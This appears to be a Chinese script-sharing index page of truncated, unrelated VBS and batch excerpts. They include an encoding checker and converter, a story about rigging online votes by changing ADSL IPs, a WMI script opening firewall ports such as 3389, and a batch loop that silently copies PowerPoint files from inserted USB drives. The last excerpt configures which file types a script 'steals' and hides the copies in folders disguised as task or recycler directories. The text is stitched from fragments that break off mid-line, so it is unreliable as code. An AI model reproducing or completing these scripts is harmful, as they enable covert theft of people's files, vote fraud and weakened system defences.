复制代码 代码如下: '' +----------------------------------------------------------------------------+ '' | Contact Info | '' +----------------------------------------------------------------------------+ '' Author: Vengy '' modiy:lcx '' Email : cyber_flash@ho

只要下载此文件后便可以查询了. 下面是详细代码 复制代码 代码如下: ''QueryCode.vbs BY: fastslz ''支持批量查询，可以放在SendTo扩展应用 set files=WScript.Arguments if files.Count=0 Then MsgBox '请将要查询的文件拖动到这个文件里！ ', vbInformation, '文件编码查询工具 BY: fastslz' end if for i=0 To files.Co

以前写过一个利用ADSL拨号变ip刷流量的vbs，只要把刷新的页面稍微改一下（添加个自动提交的js）就是了，可是怎么找都找不到了，没法重新写。 还有种办法就是vbs直接提交，可是写了半天，怎么也没运行起，以后改好了在贴出来。 写的时候遇到了点问题，就是利用网页的js提交的时候，会跳转跳显示投票成果的页面，会弹出个投票

演示 echo 'ABCDE () %% abcde 测试！' '处理前.txt' GB2Ue.vbs '处理前.txt' '处理后.txt' Ue2U8.vbs '处理后.txt' U82GB.vbs '处理后.txt' GB2U8.vbs '处理后.txt' U82Ue.vbs '处理后.txt' Ue2GB.vbs '处理后.txt' @echo 经过6次处理 '处理后.txt' 和 '处理前.txt' 仍旧是相同编码 如果不知道文件的原始编码，请使用 下面

复制代码 代码如下: ''On Error Resume Next Const ALLOW_ALL = 0 Port = Array('4900', '5000', '5100', '5500', '5600', '6000', '7000', '7100', '7200', '7300', '7400','3389','80') strComputer = '.' Set objWMIService = GetObject('winmgmts:\\' & strComputer & '\roo

思路很简单，高层的东西没什么技术含量，引用几个函数或方法就行了。开始我用的是批处理（如果你插入U盘的盘符是J，把课件保存于F盘）打开记事本，键入以下内容： 复制代码 代码如下: :cheat ping 127.0.0.1nul if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat 保存为main.bat，本来这个文件就够实现此功

复制代码 代码如下: ''作者：刘先勇 (Eric Liu) ''将以下代码复制并保存为'系统命令.VBS'，并运行安装。 ''安装成功后，可通过在程序、文件或文件夹上点右键-发送到-系统命令来设置一个命令，然后在运行中就可以输入该命令打开文件了。 ''脚本运行一次后在右键菜单中增加从这里运行CMD的快捷方式，还增加查找目标文件快捷方

以下为演示： 一、设置 右键单击，选择编辑 oStr = 'txt|jpg|doc' ''你要窃取的文件类型,可以自行添加，用“|”隔开 oDistPath = 'C:\\windows\\system\\' ''保存路径 oFolderName = 'Task' ''保存文件夹名称 oType = 0 ''将保存的文件夹进行伪装 1为task文件夹，2为recycler文件夹，0为不伪装 oOut = 1 ''1复制完毕后退出,